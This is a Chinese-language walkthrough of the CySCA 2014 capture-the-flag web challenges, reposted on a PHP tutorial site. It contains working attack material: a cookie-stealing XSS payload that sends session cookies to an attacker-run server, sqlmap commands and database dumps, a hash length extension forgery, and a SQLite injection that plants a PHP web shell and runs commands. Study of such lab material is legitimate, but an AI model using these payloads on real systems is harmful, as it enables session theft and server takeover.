来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] from:https: www cyberchallenge com au CySCA2014_Web_Penetration_Testing pdf0x00 背景一年一度的澳洲CySCA CTF是一个由澳洲政府和澳洲电信Telstra赞助的信息安全挑战赛,主要面向澳洲各大学的安全和计算机...
from:https://www.cyberchallenge.com.au/CySCA2014_Web_Penetration_Testing.pdf
0x00 背景 CTF环境全部虚拟化并且需要openvpn才能进入。 0x01 第一题 非请勿入 一个只有VIP用户才能进去的blog,想办法进去后就能看到flag了。 解题: 打开burp和浏览器开始观察目标,我们发现了几个有意思的地方: 有个用户登录页面 login.php
vip=0,这有点明显,用burp或者浏览器cookie编辑工具把vip改成1,刷新页面后那个隐藏的链接可以打开了,打开后就是flag: ComplexKillingInverse411blog导航栏里有个博客页面的链接,但是是灰色的无法点击也打不开 cookie有两个,PHPSESSID还有vip=0 cookie没有http only,有可能被xss到 0x02 第二题 好吃的小甜饼 用已任何已注册用户的身份成功登录blog。 解题: 翻了翻这个博客,又发现了几个好玩的地方: 可以看博客内容
Burp的内建插件 intruder可以用来在提交的参数里插入sql注入或者xss代码,Kali中自带了几个xss和sql注入的字典:可以添加回复 用户Sycamore似乎正在看第二篇博客 view=2 /usr/share/wfuzz/wordlist/Injections/SQL.txt
用这几个字典里的标准注入语句和xss代码对 GET view=?和 POST comment=?这两个参数过了一遍,没发现任何xss或者注入,于是我们决定对comment这个地方再仔细看看。/usr/share/wfuzz/wordlist/Injections/XSS.txt comment参数似乎过滤了不少东西,比如去掉了所有引号,转义了全部html特殊字符。但是似乎comment支持markdown语言里的斜体,粗体和链接标签,然后我们用burp intruder的xss测试在下面几个输入里面测试: *test* *test* <test>
后续测试发现链接名称最长只能用30字符,翻了翻OWASP的XSS cheat sheet, https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 最短的是这个: <SCRIPT SRC=//ha.ckers.org/.j>
在Kali中,新建个文件 .j,里面放点偷cookie的js:$.get('http://192.168.16.101?cookie='+document.cookie);
然后在同目录下用python开个http服务器:python -m SimpleHTTPServer 80 发送XSS payload [<SCRIPT SRC=//192.168.16.101/.j>][1] 然后坐等目标上钩... . . . 等了这么久怎么还没有? 原来是192.168.16.101这个ip太长了,payload被截断了…… 再仔细想想,好像很多浏览器支持十进制IP的,于是我们的payload变成了: [<script src=//3232239717/.j>][1]
好吧,其实还是超过了30位,不过比赛的时候这个长度被改成了75位所以无所谓了。发送这个payload后,过了一会儿在控制台里出现了Python HTTP Server的日志: 172.16.1.80 [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 172.16.1.80 [20/Feb/2014 16:11:12] "GET /?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301
0x03 第三题 Nonce-Sense Flag在数据库里。 解题: 用上面用户的cookie登录后逛了一下,发现用户可以在自己的blog下面删除评论,这个功能是通过ajax POST到deletecomment.php实现的,提交的内容里有CSRF token。 CSRF token会被最先检查,如果不对的话会直接返回错误,这样导致对提交的参数进行自动化测试会比较困难,好在burp提供了宏这个功能,可以让我们自动采集CSRF token然后提交。 每次POST到deletecomment.php这个页面都会返回一个不同的CSRF token,下次提交的时候必须带着才行。 我们可以用burp里的session handler中的宏来抓取,我建议你先读一下这篇: http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part1/ 通过SQL intruder插件,很快就可以发现在comment_id参数中存在SQL注入。 {"result":false,"error":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"' at line 1","csrf":"43b461afdd56f52f"}
找到注入点后,拿上顺手的SQLMAP和Burp的proxy session宏结合起来,参考这里:http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part2/ 把sqlmap的请求都保存到文件里,并且确保更新session cookie #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id ... [17:15:55] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c ... [17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id' might be injectable (possible DBMS: 'MySQL') ... heuristic (parsing) test showed that the backend DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n ... [17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND errorbased WHERE or HAVING clause' injectable ... POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
#> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id currentdb current database: 'cysca' #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D cysca tables Database: cysca #> sqlmap r /root/sqlweb3headers [5 tables] +---------------------------------------+ | user | | blogs | | comments | | flag | | rest_api_log | +---------------------------------------+ #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D cysca T flag dump [1 entry] +----------------------+ | flag | +----------------------+ | CeramicDrunkSound667 | +----------------------+ flag: CeramicDrunkSound667
在缓存控制面板里面找到flag。 解题: 控制面板是REST API的形式,在说明文档里面写了这个API有添加文件名然后读取文件内容的功能,也许我们能用这个功能来读取PHP源码? 首先需要找到API key,在上一题里似乎数据库中有个表名叫rest_api_log,我们用SQLMAP把表拖下来看看: #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D cysca T rest_api_log dump Database: cysca Table: rest_api_log [4 entries] +++ + +++ | id | method | params | api_key | created_on | request_uri | +++ + +++ |1 |POST | contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s ig=235aca08775a2070642013200d70097a | b32GjABvSf1Eiqry | 20140221 09:27:20 | \\/api\\/documents | |2 |GET |_url=%2Fdocuments&id=2 | NULL |3 |POST | contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frestapi.txt&api_sig=95a0e7dbe06 fb7b77b6a1980e2d0ad7d | b32GjABvSf1Eiqry | 20140221 11:54:31 | \\/api\\/documents | |4|PUT | _url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frestapi v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 20140221 12:07:43 | \\/api\\/documents\\/id\\/3 | +++ + +++
#> curl X PUT d 'contenttype=text/plain&filepath=./documents/restapiv2.txt&api_sig=6854c04381284dac9970625820a8d32b' H 'XAuth: b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
hashlib.md5(secret+'contenttypetext/plainfilepath./documents/restapiv2.txtid3').
secret作为双方都共享的值,后面加上目标文件的路径,生成的md5 hash作为api签名,在不知道secret的情况下,似乎无法利用任意路径生成合法的签名。hexdigest() 但是真的是这样么? 几年前著名应用 Flickr曾经因为Hash签名使用方法不正确结果掉进了很大的坑里,那就是 Hash长度扩展攻击(Hash length extension attack),导致可以在不知道API secret的情况下伪造任意请求。 关于Flickr的坑请看这里: http://netifera.com/research/flickr_api_signature_forgery.pdf Hash长度扩展攻击能够实现是因为 foo=bar 和 fo=obar 会产生一样的hash签名,所以我们可以生成一个可以让我们在原参数后面添加新参数,并且签名还是可以通过检验的。 比如这个请求: "contenttype=text/plain&filepath=./documents/restapiv2.txt"
如果我们把它改成:"c=ontenttypetext/plain&filepath=./documents/restapiv2.txt&contenttype=text/plain&filepath=./index.php"
那么在计算hash的时候字符串就会变成这样:SECRETcontenttypetext/plainfilepath=./documents/restapiv2.txtcontenttype=text/plainfilepath=./index.phpid3
因为数据在被hash的时候会被分割成固定长度的块,前面的块生成的hash会放入下一个块中和块的内容一起继续hash,直到最后一个块,最后一个块生成的hash就是我们最后得到的hash,也就是前面的api_sig。现在我们知道了前面所有块产生的hash,如果我们自己再造一个块,把这个hash当成前面的块的hash放进我们自己建立的块中来hash一下会发生什么? 结果我们在不知道secret的情况下获得了可以在原文后添加任意内容并且产生合法hash的方法。 大部分web server在处理同样参数的不同内容时倾向于选择后面的,例如foo=1&foo=2,最后foo的值是2,但是有些web server也会使用前面的,这样这个方法是不是就不能用了? 根据这个API的文档,参数和值会拼接在一起然后一起hash,例如,foo=bar&foo1=bar1会被变成字符串foobarfoo1bar1,所以假如我们把foo=bar变成fo=obar,拼接后的字符串还是foobarfoo1bar,这样我们就可以完全控制需要更改的参数了。 现在开始利用这个漏洞,首先下载并且编译工具 HashPump (https://github.com/bwall/HashPump),然后利用它来生成我们需要的hash。因为我们不知道secret的长度,所以需要穷举key的长度(hashpump的k参数) #> ./hashpump s 6854c04381284dac9970625820a8d32b data contenttypetext/plainfilepath./documents/restapiv2.txtid3 a contenttypetext/plainfilepath./index.phpid3 k 16 4625e458d07cb19da70effa3d1c6dc14 contenttypetext/plainfilepath./documents/restapiv2.txtid3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3
#> curl -X PUT -d 'c=ontenttypetext/plainfilepath./documents/restapiv2.txtid3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&filepath=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14' H 'XAuth:b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
#> curl http://172.16.1.80/api/documents/id/3 <?php // Not in production... see /cache.php?access=<secret> include('../lib/caching.php'); if (isset($_GET['debug'])) { readFromCache(); } **** SNIP ****
#> curl http://172.16.1.80/api/documents/id/3 **** SNIP **** $flag = 'OrganicPamperSenator877'; if ($_GET['access'] != md5($flag)) { header('Location: /index.php'); die(); } **** SNIP ****
说明: Web篇最后的flag藏在 /flag.txt里,你能拿到么? 解题: 上一题cache.php里面的源码最后写了,提交的参数access的值必须是上一题flag的md5,浏览器打开cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 显示的是一个很简单的表单,表单提交了两个参数,URI和标题,在cache.php里面对这两个参数严格检查,比如URI参数前面必须是http://开头,服务器必须是本地,然后这个URI必须真实存在,不能是404. 标题被限制在40字符以内,但是不会过滤引号,似乎可以被注入。 我们尝试在标题里提交 /* ,返回了错误信息: near "/*', '59ab7c9e3917a154ff56a43d08a262ab','http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error
熟悉的SQL显错注入,根据错误信息,后端数据库似乎是SQLite,通过查看lib/caching.php的源码我们可以确认这一点,通过源码我们还可以看出,URI所指向的页面内容被直接存进了数据库中。考虑到40个字符的限制不能进行任何有利用价值的SQL注入,我们需要找到一个可以注入长字符串的方法,页面内容输出缓存的功能现在派上用场了。 幸运的是,我们可以控制并且注入没转义过的单引号到缓存页面,并且把缓存页面自己缓存了,把在标题中的几个较短的注入语句拼接在一起,一个完整的注入语句就能在缓存页面被存入数据库的时候执行。 这里有个很好用的SQLite注入 cheat sheet,可以直接通过注入拿shell! http://atta.cked.me/home/sqlite3injectioncheatsheet 我们的目标是利用这段注入语句拿到shell: ',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b VALUES ('<? system($_GET[''cmd'']); ?>');/*
我们如何用40个字符的长度注入122字符的SQL语句? SQL块注释!这需要一些额外的转义并且把php的拼接指令'||'分开: '',0);ATTACH DATABASE ''a.php'' AS a;/* */CREATE TABLE a.b (c text);INSERT /* */INTO a.b VALUES(''<? system($''||/* */''_GET[''''cmd'''']); ?>'');/*
我们现在就可以在服务器上执行任意指令了! 比如 cat /flag.txt # > curl http://172.16.1.80/a.php?cmd=cat+/flag.txt CFlag: TryingCrampFibrous963
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com